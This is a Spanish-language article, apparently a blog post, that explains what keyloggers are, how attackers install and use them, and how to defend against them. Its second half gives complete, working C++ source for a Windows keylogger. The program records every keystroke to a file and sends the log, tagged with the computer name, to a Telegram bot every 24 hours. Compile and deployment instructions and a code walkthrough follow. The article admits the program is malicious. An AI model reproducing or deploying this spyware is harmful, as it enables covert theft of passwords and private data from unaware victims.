Un keylogger es un tipo de software o hardware diseñado para registrar todas las teclas presionadas en un teclado. El término proviene de “keystroke logger”, que en inglés significa “registrador de teclas”. Los keyloggers pueden capturar información confidencial como contraseñas, números de tarjetas de crédito, mensajes privados y cualquier otro dato que se ingrese a través de un teclado.
¿Para qué se Usa un Keylogger?
Los keyloggers tienen diversos usos, algunos legales y otros ilegales:
- Monitorización de Empleados: En algunas organizaciones, los keyloggers se utilizan para monitorear la actividad de los empleados con fines de seguridad, para asegurar que no se estén filtrando datos confidenciales.
- Control Parental: Los padres pueden usar keyloggers para vigilar la actividad en línea de sus hijos y protegerlos de contenidos inapropiados o de interacciones peligrosas.
- Investigación: En investigaciones legales, los keyloggers pueden ser usados para reunir pruebas en casos de fraude o corrupción.
- Uso Malicioso: En el lado oscuro, los keyloggers son usados por cibercriminales para robar información sensible y espiar a sus víctimas sin que estas lo sepan.
Cómo Funciona un Keylogger
Un keylogger puede funcionar de diferentes maneras dependiendo de si es software o hardware:
- Keyloggers de Software:
- Instalación Oculta: El software se instala en la computadora de la víctima de manera sigilosa, a menudo camuflado como una aplicación legítima.
- Registro de Teclas: Cada vez que una tecla es presionada, el keylogger la graba en un archivo de registro.
- Envío de Datos: Periódicamente, los datos recogidos se envían al atacante, por ejemplo, a través de correo electrónico o directamente a un servidor controlado por el cibercriminal.
- Keyloggers de Hardware:
- Conexión Física: Estos dispositivos se conectan físicamente entre el teclado y la computadora.
- Invisibles para el Usuario: No se requieren permisos de software, por lo que son más difíciles de detectar.
- Extracción Física: Los datos se almacenan en el dispositivo, y el atacante debe recuperarlo para acceder a la información.
Las 20 Cosas Más Peligrosas que un Atacante Puede Hacer con un Keylogger
- Robo de Contraseñas: Un atacante puede capturar contraseñas de cuentas de correo, redes sociales, cuentas bancarias y otros servicios importantes.
- Acceso a Cuentas Financieras: Con las credenciales bancarias, el atacante puede acceder a cuentas bancarias, realizar transferencias no autorizadas, y robar fondos.
- Robo de Identidad: Capturar información personal como nombres, direcciones, fechas de nacimiento y números de seguro social para cometer fraude de identidad.
- Espionaje Corporativo: En una empresa, un keylogger puede ser usado para espiar comunicaciones internas, robar secretos comerciales, y recopilar información confidencial.
- Acceso a Mensajes Privados: Leer conversaciones privadas en aplicaciones de mensajería instantánea, correos electrónicos y redes sociales.
- Robo de Información Empresarial: Robar datos confidenciales de la empresa, como estrategias de negocio, información financiera, o datos de clientes.
- Extorsión: Usar información comprometida para chantajear a la víctima, amenazando con divulgar datos sensibles si no se cumplen ciertas demandas.
- Distribución de Malware: Con acceso a la computadora de la víctima, un atacante puede instalar otros tipos de malware, como troyanos o ransomware.
- Acceso Remoto: Obtener las credenciales necesarias para establecer un acceso remoto a la computadora de la víctima, permitiendo al atacante controlar el dispositivo a distancia.
- Destrucción de Datos: Un atacante podría usar la información obtenida para acceder a sistemas críticos y eliminar datos importantes, causando un daño significativo a la víctima o a la empresa.
- Suplantación de Identidad en Comunicaciones: Enviar correos o mensajes desde la cuenta de la víctima para engañar a sus contactos o realizar estafas.
- Acceso a Sistemas Críticos: Si la víctima es un administrador de sistemas, el atacante puede usar las credenciales para acceder a sistemas críticos, comprometiendo la seguridad de toda la red.
- Manipulación de Transacciones Financieras: Modificar transacciones en plataformas de trading, criptomonedas, o bancos para desviar fondos a cuentas controladas por el atacante.
- Robo de Criptomonedas: Si la víctima maneja criptomonedas, el atacante podría robar claves privadas y transferir criptomonedas a su propia billetera.
- Sabotaje: Modificar o destruir documentos, bases de datos, o software en la computadora de la víctima para causar daños o disrupciones.
- Instalación de Puertas Traseras: Configurar puertas traseras que permitan al atacante acceder nuevamente a la computadora, incluso si el keylogger es detectado y eliminado.
- Acceso a Redes Corporativas: Utilizar las credenciales de la víctima para infiltrarse en la red de una empresa, escalando privilegios y comprometiendo otros sistemas.
- Monitoreo Continuo: Realizar un seguimiento constante de las actividades de la víctima, recopilando datos de comportamiento y patrones de uso.
- Ataques Dirigidos: Planificar y ejecutar ataques más sofisticados basados en la información recolectada, como phishing dirigido o spear-phishing.
- Dañar la Reputación: Publicar información sensible o embarazosa obtenida de la víctima, dañando su reputación personal o profesional.
Cómo se Instalan los Keyloggers en una Computadora
- Ingeniería Social: Un atacante puede engañar a la víctima para que descargue e instale el keylogger, disfrazándolo como un programa legítimo, como un juego, una actualización de software, o un archivo adjunto en un correo electrónico.
- Ataques de Phishing: A través de correos electrónicos falsos que parecen provenir de fuentes confiables, los atacantes pueden inducir a la víctima a descargar el keylogger.
- Explotación de Vulnerabilidades: Los atacantes pueden aprovechar vulnerabilidades en el sistema operativo o en aplicaciones populares para instalar el keylogger sin que el usuario lo sepa.
- Acceso Físico: Si el atacante tiene acceso físico a la computadora, puede instalar un keylogger de hardware o cargar el software directamente.
- Descargas Drive-by: Al visitar sitios web comprometidos o maliciosos, el keylogger puede descargarse e instalarse en segundo plano sin que la víctima se dé cuenta.
- Dispositivos USB Inocentes: Un atacante puede dejar un USB infectado con un keylogger en un lugar donde la víctima lo encuentre y lo conecte a su computadora.
- Aplicaciones Infectadas: Algunos keyloggers se esconden en aplicaciones aparentemente inofensivas distribuidas a través de tiendas de aplicaciones o sitios de descargas.
- Distribución en Redes de P2P: Los keyloggers a menudo se distribuyen en redes de intercambio de archivos como torrents, incrustados en software pirateado.
- Ataques de Hombre en el Medio (MITM): En redes Wi-Fi no seguras, los atacantes pueden interceptar y modificar el tráfico para inyectar keyloggers en las descargas de la víctima.
- Ataques de Watering Hole: Los atacantes comprometen sitios web populares que son visitados por las víctimas objetivo, inyectando keyloggers en las páginas.
Cómo Protegerse Contra los Keyloggers
- Software Antivirus y Antimalware: Mantén un software de seguridad actualizado para detectar y eliminar keyloggers y otras amenazas.
- Contraseñas Fuertes y 2FA: Usa contraseñas complejas y autenticación de dos factores para reducir el riesgo de que un keylogger comprometa tus cuentas.
- Teclados Virtuales: Para tareas sensibles, como ingresar contraseñas en sitios bancarios, considera usar teclados virtuales o software que emule teclas para evitar que los keyloggers registren tus entradas.
- Monitoreo de Sistemas: Usa software que monitoree las actividades del sistema y detecte comportamientos inusuales, como la instalación de programas no autorizados.
- Actualizaciones Regulares: Mantén tu sistema operativo y tus aplicaciones actualizadas para protegerte contra vulnerabilidades que los keyloggers podrían explotar.
- Educación en Seguridad: Sé consciente de las técnicas de ingeniería social y phishing, y ten cuidado con los enlaces y archivos que recibes por correo electrónico.
- Control de Acceso Físico: Asegúrate de que nadie tenga acceso físico no autorizado a tus dispositivos.
- Revisión de Dispositivos USB: Escanea cualquier dispositivo USB antes de conectarlo a tu computadora.
- Monitoreo de Red: Usa herramientas para supervisar el tráfico de red y detectar conexiones sospechosas que podrían indicar que un keylogger está transmitiendo datos.
- Uso de Contraseñas Unicas: Evita usar la misma contraseña en múltiples sitios
ejemplo de Keylogger, parte del código por ban hell y lo del bot de telegram y GetComputerNameA agregado por mi
Aquí tienes el programa completo con las mejoras para enviar el archivo de registro de teclas a un grupo de Telegram cada 24 horas, incluyendo el nombre de la computadora para identificar de qué máquina proviene el archivo:
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#include <unordered_map>
#include <ctime>
#include <wininet.h> // Para el envío de mensajes a Telegram
#pragma comment(lib, "wininet.lib")
// Variables globales
const std::string BOT_TOKEN = "TU_BOT_TOKEN_AQUI"; // Reemplaza con tu token de bot de Telegram
const std::string CHAT_ID = "ID_DEL_GRUPO_AQUI"; // Reemplaza con la ID del grupo de Telegram
const std::string FILENAME = "keylog.txt";
// Mapa para teclas especiales y su representación con Shift presionado
std::unordered_map<int, std::string> shift_map = {
{ '1', "!" }, { '2', "@" }, { '3', "#" }, { '4', "$" }, { '5', "%" },
{ '6', "^" }, { '7', "&" }, { '8', "*" }, { '9', "(" }, { '0', ")" },
{ VK_OEM_1, ":" }, { VK_OEM_PLUS, "+" }, { VK_OEM_COMMA, "<" },
{ VK_OEM_MINUS, "_" }, { VK_OEM_PERIOD, ">" }, { VK_OEM_2, "?" },
{ VK_OEM_3, "~" }, { VK_OEM_4, "{" }, { VK_OEM_5, "|" },
{ VK_OEM_6, "}" }, { VK_OEM_7, "\"" }
};
// Mapa para teclas sin Shift
std::unordered_map<int, std::string> key_map = {
{ VK_SPACE, " " }, { VK_RETURN, "\n" }, { VK_TAB, "\t" },
{ VK_OEM_1, ";" }, { VK_OEM_PLUS, "=" }, { VK_OEM_COMMA, "," },
{ VK_OEM_MINUS, "-" }, { VK_OEM_PERIOD, "." }, { VK_OEM_2, "/" },
{ VK_OEM_3, "`" }, { VK_OEM_4, "[" }, { VK_OEM_5, "\\" },
{ VK_OEM_6, "]" }, { VK_OEM_7, "'" }
};
// Función para eliminar duplicados consecutivos
std::string remove_consecutive_duplicates(const std::string& input) {
std::string result;
char last_char = '\0';
for (char ch : input) {
if (ch != last_char) {
result += ch;
last_char = ch;
}
}
return result;
}
// Función para obtener el nombre de la computadora
std::string get_computer_name() {
char computerName[256];
DWORD size = sizeof(computerName);
if (GetComputerNameA(computerName, &size)) {
return std::string(computerName);
}
return "Unknown_PC";
}
// Función para enviar un mensaje a Telegram
void send_to_telegram(const std::string& message) {
HINTERNET hInternet = InternetOpenA("TelegramBot", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hConnect = InternetConnectA(hInternet, "api.telegram.org", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hConnect) {
std::string url = "/bot" + BOT_TOKEN + "/sendMessage";
std::string params = "chat_id=" + CHAT_ID + "&text=" + message;
HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", url.c_str(), NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0);
if (hRequest) {
HttpSendRequestA(hRequest, "Content-Type: application/x-www-form-urlencoded", -1, (LPVOID)params.c_str(), params.length());
InternetCloseHandle(hRequest);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
}
// Función para enviar el archivo keylog.txt a Telegram
void send_file_to_telegram() {
std::ifstream file(FILENAME);
if (file.is_open()) {
std::string line;
std::string message = "Keylog desde " + get_computer_name() + ":\n";
while (getline(file, line)) {
message += line + "\n";
}
file.close();
send_to_telegram(message);
}
}
// Función para registrar las teclas
void log_keystroke(const std::string& keystroke) {
std::ofstream logfile;
logfile.open(FILENAME, std::ios_base::app);
logfile << remove_consecutive_duplicates(keystroke);
logfile.close();
}
// Función principal con temporizador de 24 horas
int main() {
std::string keystrokes;
std::time_t last_sent = std::time(0);
while (true) {
// Verificar cada 24 horas
if (std::difftime(std::time(0), last_sent) >= 86400) { // 86400 segundos = 24 horas
send_file_to_telegram();
last_sent = std::time(0);
}
// Bucle de registro de teclas
for (char c = 8; c <= 222; c++) {
if (GetAsyncKeyState(c) & 0x0001) {
std::string key;
bool shift_pressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
if (shift_pressed && shift_map.find(c) != shift_map.end()) {
key = shift_map[c];
} else if (key_map.find(c) != key_map.end()) {
key = key_map[c];
} else if (c >= 65 && c <= 90) { // Letras A-Z
key = shift_pressed ? std::string(1, c) : std::string(1, tolower(c));
} else if (c >= 48 && c <= 57) { // Números 0-9
key = std::string(1, c);
}
if (!key.empty()) {
// Evitar duplicados directos
if (keystrokes.empty() || keystrokes.back() != key.back()) {
keystrokes += key;
log_keystroke(keystrokes);
keystrokes.clear();
}
}
}
}
Sleep(10); // Pequeña pausa para reducir el uso de CPU
}
return 0;
}
Instrucciones:
- Reemplaza los Placeholders:
- Reemplaza
"TU_BOT_TOKEN_AQUI"
con el token de tu bot de Telegram. - Reemplaza
"ID_DEL_GRUPO_AQUI"
con la ID del grupo de Telegram al que quieres enviar los mensajes.
- Compilación:
- Compila el código con un compilador de C++ que soporte la API de Windows (por ejemplo, Visual Studio).
- Ejecución:
- Ejecuta el programa en las computadoras que deseas monitorear. Cada 24 horas, el archivo
keylog.txt
será enviado al grupo de Telegram especificado, incluyendo el nombre de la computadora para identificar de dónde proviene.
Consideraciones Finales:
- Seguridad: Asegúrate de que el uso de este programa sea legal y ético. Este tipo de software debe utilizarse solo en entornos donde tengas permiso explícito.
- Telegram API: La API de Telegram tiene límites de tasa de envío de mensajes. Asegúrate de no excederlos, especialmente si estás monitoreando múltiples computadoras.
Este programa es un keylogger, un tipo de software diseñado para registrar las teclas presionadas en el teclado de un sistema. Vamos a desglosar cada parte del código y explicar su funcionamiento:
1. Inclusión de Bibliotecas
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#include <unordered_map>
#include <ctime>
#include <wininet.h> // Para el envío de mensajes a Telegram
#pragma comment(lib, "wininet.lib")
- , , y : Estas bibliotecas permiten la entrada/salida estándar, la manipulación de archivos y el manejo de cadenas de texto, respectivamente.
- : Especifica funciones y macros necesarias para interactuar con el sistema operativo Windows.
- : Proporciona una estructura de datos para almacenar pares clave-valor, utilizada aquí para mapear códigos de teclas a sus representaciones.
- : Se usa para trabajar con fechas y horas, permitiendo la creación de un temporizador para enviar datos cada 24 horas.
- : Permite la conexión a Internet para enviar datos a través de la API de Telegram.
2. Definición de Variables Globales
const std::string BOT_TOKEN = "TU_BOT_TOKEN_AQUI"; // Reemplaza con tu token de bot de Telegram
const std::string CHAT_ID = "ID_DEL_GRUPO_AQUI"; // Reemplaza con la ID del grupo de Telegram
const std::string FILENAME = "keylog.txt";
- BOT_TOKEN y CHAT_ID: Almacenan el token del bot de Telegram y la ID del grupo donde se enviarán los mensajes.
- FILENAME: El nombre del archivo donde se guardan las teclas registradas.
3. Mapeo de Teclas
std::unordered_map<int, std::string> shift_map = { /* ... */ };
std::unordered_map<int, std::string> key_map = { /* ... */ };
- shift_map y key_map: Son diccionarios que asocian códigos de teclas a sus representaciones de caracteres. El primero maneja las teclas cuando se presiona Shift, y el segundo maneja las teclas sin Shift.
4. Función para Eliminar Duplicados Consecutivos
std::string remove_consecutive_duplicates(const std::string& input) { /* ... */ }
- remove_consecutive_duplicates: Esta función elimina caracteres duplicados consecutivos de una cadena, para evitar que el archivo de registro se llene de repetidos si una tecla se mantiene presionada accidentalmente.
5. Función para Obtener el Nombre de la Computadora
std::string get_computer_name() { /* ... */ }
- get_computer_name: Usa la función
GetComputerNameA
para obtener el nombre de la computadora donde se ejecuta el keylogger. Esto ayuda a identificar la máquina en caso de que el programa esté instalado en múltiples dispositivos.
6. Función para Enviar Mensajes a Telegram
void send_to_telegram(const std::string& message) { /* ... */ }
- send_to_telegram: Conecta con la API de Telegram a través de HTTP para enviar un mensaje al chat especificado. El mensaje puede ser texto, y se envía usando el token del bot y la ID del chat.
7. Función para Enviar el Archivo de Registro a Telegram
void send_file_to_telegram() { /* ... */ }
- send_file_to_telegram: Lee el contenido del archivo
keylog.txt
y lo envía a Telegram. Esto se hace una vez cada 24 horas.
8. Función para Registrar las Teclas
void log_keystroke(const std::string& keystroke) { /* ... */ }
- log_keystroke: Abre el archivo
keylog.txt
en modo de agregar y escribe las teclas registradas, eliminando duplicados consecutivos.
9. Función Principal
int main() { /* ... */ }
- Temporizador de 24 horas: Usa la función
difftime
para comparar el tiempo actual con la última vez que se enviaron los datos a Telegram. Si han pasado 24 horas, envía el archivo de registro a Telegram y reinicia el temporizador. - Bucle de Registro de Teclas: Itera sobre los códigos de teclas (del 8 al 222) y utiliza
GetAsyncKeyState
para verificar si alguna tecla se ha presionado. Si se detecta una tecla, se determina si Shift está presionado y se busca en los mapasshift_map
ykey_map
para encontrar su representación. Luego, se registra la tecla. - Pausa: Usa
Sleep(10)
para introducir una pequeña pausa en el bucle, reduciendo el uso de la CPU.
¿Para qué Sirve Este Programa?
Este programa tiene fines maliciosos, ya que actúa como un keylogger que registra todas las teclas presionadas en una computadora y envía esa información a un grupo de Telegram cada 24 horas. Un atacante podría usar este programa para:
- Robar contraseñas y credenciales: Al registrar lo que escribe el usuario, incluidas contraseñas, nombres de usuario y otra información sensible.
- Acceder a cuentas personales y bancarias: Usando la información robada para entrar en cuentas bancarias, correos electrónicos, redes sociales, etc.
- Rastrear la actividad del usuario: Monitorear lo que hace el usuario en su computadora, incluyendo conversaciones privadas, compras en línea, y más.
- Realizar espionaje corporativo: Si se instala en una computadora de trabajo, podría comprometer la seguridad de una empresa.
Resumen
Este programa es un keylogger diseñado para capturar y registrar todo lo que se escribe en una computadora y enviar esa información a un grupo de Telegram, donde el atacante puede revisarla. Se utiliza para obtener información confidencial y monitorear la actividad del usuario, lo que puede tener consecuencias muy graves para la privacidad y seguridad de la víctima.